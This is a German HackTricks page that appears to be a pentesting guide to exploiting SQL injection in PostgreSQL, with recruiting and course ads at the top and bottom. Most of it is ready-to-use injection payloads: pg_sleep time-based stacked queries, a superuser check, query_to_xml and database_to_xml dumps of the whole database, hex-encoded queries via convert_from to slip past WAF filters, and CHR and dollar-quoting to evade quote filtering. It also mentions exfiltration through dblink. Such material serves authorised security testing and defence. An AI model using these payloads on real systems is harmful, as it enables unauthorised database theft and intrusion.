PostgreSQL injection

Erlernen Sie AWS-Hacking von Grund auf mit htARTE (HackTricks AWS Red Team Expert)!

Andere Möglichkeiten, HackTricks zu unterstützen:

Wenn Sie an einer Hackerkarriere interessiert sind und das Unhackbare hacken möchten - wir stellen ein! (fließendes Polnisch in Wort und Schrift erforderlich).


Diese Seite soll verschiedene Tricks erklären, die Ihnen helfen könnten, eine SQL-Injection in einer PostgreSQL-Datenbank auszunutzen, und die die Tricks ergänzen, die Sie auf https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/SQL%20Injection/PostgreSQL%20Injection.md finden können.

Netzwerkinteraktion - Privilege Escalation, Portscanner, Offenlegung der NTLM-Challenge-Antwort & Exfiltration

Das PostgreSQL-Modul dblink bietet Möglichkeiten, um eine Verbindung zu anderen PostgreSQL-Instanzen herzustellen und TCP-Verbindungen auszuführen. Diese Funktionen, in Kombination mit der Funktionalität COPY FROM, ermöglichen Aktionen wie Privilege Escalation, Portscanning und das Erfassen von NTLM-Challenge-Antworten. Für detaillierte Methoden zur Ausführung dieser Angriffe überprüfen Sie, wie Sie diese Angriffe ausführen können.

Sie können dieses Beispiel lesen, um ein CTF-Beispiel zu sehen, wie Daten in große Objekte geladen und dann der Inhalt der großen Objekte im Benutzernamen der Funktion dblink_connect exfiltriert werden kann.

PostgreSQL-Angriffe: Lesen/Schreiben, RCE, Privilege Escalation

Überprüfen Sie, wie Sie den Host kompromittieren und Privilegien von PostgreSQL in:

page5432,5433 - Pentesting Postgresql

WAF-Bypass

PostgreSQL-Stringfunktionen

Das Manipulieren von Strings könnte Ihnen helfen, WAFs oder andere Einschränkungen zu umgehen. Auf dieser Seite finden Sie einige nützliche Stringfunktionen.

Gestapelte Abfragen

Denken Sie daran, dass PostgreSQL gestapelte Abfragen unterstützt, aber mehrere Anwendungen einen Fehler anzeigen werden, wenn 2 Antworten zurückgegeben werden, wenn nur 1 erwartet wird. Sie können dennoch die gestapelten Abfragen über Time Injection missbrauchen:

id=1; select pg_sleep(10);-- -
1; SELECT case when (SELECT current_setting('is_superuser'))='on' then pg_sleep(10) end;-- -

XML Tricks

query_to_xml

Diese Funktion gibt alle Daten in XML-Format in nur einer Datei zurück. Ideal, wenn Sie eine große Menge an Daten in nur einer Zeile dumpen möchten:

SELECT query_to_xml('select * from pg_user',true,true,'');

database_to_xml

Diese Funktion wird die gesamte Datenbank im XML-Format in nur 1 Zeile ausgeben (Vorsicht, wenn die Datenbank sehr groß ist, da Sie sie möglicherweise überlasten oder sogar Ihren eigenen Client):

SELECT database_to_xml(true,true,'');

Zeichenfolgen in Hexadezimal

Wenn Sie Abfragen ausführen können, indem Sie sie innerhalb einer Zeichenfolge übergeben (zum Beispiel unter Verwendung der Funktion query_to_xml). Sie können convert_from verwenden, um die Zeichenfolge als Hexadezimal zu übergeben und auf diese Weise Filter zu umgehen:

select encode('select cast(string_agg(table_name, '','') as int) from information_schema.tables', 'hex'), convert_from('\x73656c656374206361737428737472696e675f616767287461626c655f6e616d652c20272c272920617320696e74292066726f6d20696e666f726d6174696f6e5f736368656d612e7461626c6573', 'UTF8');

# Bypass via stacked queries + error based + query_to_xml with hex
;select query_to_xml(convert_from('\x73656c656374206361737428737472696e675f616767287461626c655f6e616d652c20272c272920617320696e74292066726f6d20696e666f726d6174696f6e5f736368656d612e7461626c6573','UTF8'),true,true,'')-- -h

# Bypass via boolean + error based + query_to_xml with hex
1 or '1' = (query_to_xml(convert_from('\x73656c656374206361737428737472696e675f616767287461626c655f6e616d652c20272c272920617320696e74292066726f6d20696e666f726d6174696f6e5f736368656d612e7461626c6573','UTF8'),true,true,''))::text-- -

Verbotene Anführungszeichen

Wenn Sie Anführungszeichen nicht für Ihr Payload verwenden können, können Sie dies mit CHR für grundlegende Klauseln umgehen (Zeichenverkettung funktioniert nur für grundlegende Abfragen wie SELECT, INSERT, DELETE usw. Es funktioniert nicht für alle SQL-Anweisungen):

SELECT CHR(65) || CHR(87) || CHR(65) || CHR(69);

Oder mit $. Diese Abfragen liefern die gleichen Ergebnisse:

SELECT 'hacktricks';
SELECT $$hacktricks$$;
SELECT $TAG$hacktricks$TAG$;

Wenn Sie an einer Hackerkarriere interessiert sind und das Unhackbare hacken möchten - wir stellen ein! (fließendes Polnisch in Wort und Schrift erforderlich).

Erlernen Sie AWS-Hacking von Null auf Held mit htARTE (HackTricks AWS Red Team Expert)!

Andere Möglichkeiten, HackTricks zu unterstützen:

Last updated